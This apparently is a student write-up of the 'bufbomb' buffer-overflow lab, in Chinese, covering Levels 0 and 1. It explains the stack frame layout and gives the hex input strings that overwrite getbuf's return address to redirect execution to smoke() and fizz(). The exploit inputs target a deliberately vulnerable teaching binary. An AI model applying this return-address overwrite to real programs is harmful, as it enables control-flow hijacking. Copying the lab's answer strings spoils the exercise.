《Hardware/Software Interface》实验三 是内存攻击,通过注入多余的数据造成缓存溢出从而改变栈中的数据,进而改变进程的运行轨迹。这个实验能帮助我们加深理解函数间调用的过程以及栈空间的使用,是非常棒的一个实验。
实验环境:
Ubuntu 64位 操作系统
内存攻击
实验分为4个level ,每个level的处理过程差不多,难度整体是在上升。为了更好地理解整个实验,我们先看一下相关的内存栈知识。
stack frame
每个当前内存frame需要指出它在内存中的范围,范围的值由两个寄存器来保存,Linux64位系统中由rsp(stack pointer) 和 rbp(base pointer) 来保存。如下:
函数间的调用导致了frame的切换,当一个函数要调用另一个函数时,需要保存当前函数的返回地址等。例如:
int main()
{
printf("Type a string:");
echo();
return 0;
}
调用了 echo 的函数之后 ,栈如下:
调用echo函数前,首先保存返回到main函数的地址;进入到echo函数的frame中后,会首先保存之前的main函数frame的bp,之后保存一些相关的寄存器数据。
工具
实验还提供了多个工具方便我们的使用。
- objdump
- objdump命令是Linux下的反汇编目标文件或者可执行文件的命令. 实验中我们还会需要向缓冲区中注入汇编命令,但是汇编命令也是需要转换成二进制作为输入,那么objdump可以将我们生成的目标文件反汇编,显示出不同汇编语句对应的机器代码。
- sendstring
- 我们的输入串本身的含义可能是二进制码,但是作为输入会被计算机识别成ASCII字符然后转换,这样背离了我们的初衷,实验提供了sendstring程序来帮助我们把输入文件转成对应被计算机识别的二进制文件。
上述工具的使用说明在实验指导书中都提到了。
Level 0: Candle
每个任务开始都会调用test()方法,内部会调用getbuf(),getbuf()会继续调用函数Gets(),如下:
void test()
{
unsigned long long val;
volatile unsigned long long local = 0xdeadbeef;
char* variable_length;
entry_check(3); /* Make sure entered this function properly */
val = getbuf();
if (val <= 40) {
variable_length = alloca(val);
}
entry_check(3);
/* Check for corrupted stack */
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%llx\n", val);
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
validate(3);
}
else {
printf("Dud: getbuf returned 0x%llx\n", val);
}
}
unsigned long long getbuf()
{
char buf[36];
volatile char* variable_length;
int i;
unsigned long long val = (unsigned long long)Gets(buf);
variable_length = alloca((val % 40) < 36 ? 36 : val % 40);
for(i = 0; i < 36; i++)
{
variable_length[i] = buf[i];
}
return val % 40;
}
Your task is to get bufbomb to execute the code for smoke() when getbuf() executes its return statement,rather than returning to test().
现在是要求getbuf函数执行完事要返回到smoke函数而不是test函数,这很简单,我们只要把getbuf函数对应的frame中的return address 覆盖为 smoke 函数的第一条指令的地址就行。
可用GDB调试查看smoke函数的第一条指令地址:
再看一下 getbuf函数的汇编代码:
rsp减去了0x30 也就是48字节,又考虑到我们的系统是64位的,这样整个stack frame 的结构就很清晰了,如下:
那么输入的信息要正好把return address 替换掉,考虑到机器为小端机器,最终的输入为:
0011223344556677001122334455667700112233445566770011223344556677001122334455667700112233445566770011223344556677c010400000000000
输入之后栈空间如下:
这样确保执行到smoke函数:
Level 1: Sparkler
Your task is to get bufbomb to execute the code for fizz() rather than returning to test.
In this case, however, you must make it appear to fizz as if you have passed your cookie as its argument.
该任务是不仅要跳转到fizz函数,还需要保证向fizz传输了正确的参数。先看一下fizz的代码:
void fizz(int arg1, char arg2, long arg3, char* arg4, short arg5, short arg6, unsigned long long val)
{
entry_check(1); /* Make sure entered this function properly */
if (val == cookie) {
printf("Fizz!: You called fizz(0x%llx)\n", val);
validate(1);
} else {
printf("Misfire: You called fizz(0x%llx)\n", val);
}
exit(0);
}
fizz函数有7个参数,我们需要传递的只有第七个,值得一提是:
Note that in x86-64, the first six arguments are passed into registers and additional arguments are passed through the stack.
运行程序看一下 fizz的汇编代码:
重点只要看前几行,rsp先减去0x8,之后将rsp+0x10(16) 地址对应的内容存入rsi寄存器,再让rsi寄存器和cookie比较,那么可以明确栈空间中需要的修改的位置,可以得到如下栈空间的结构:
同时可以查看到fizz函数的内存地址为0x401070,那么我们最终的输入串fizz.txt就为:
00112233445566770011223344556677001122334455667700112233445566770011223344556677001122334455667700112233445566777010400000000000112233445566778885c065539653e05b
输入之后栈空间如下:
那么将fizz.txt 转换为字节文件后(./sendstring < fizz.txt > fizz.bytes),运行程序可得如下结果: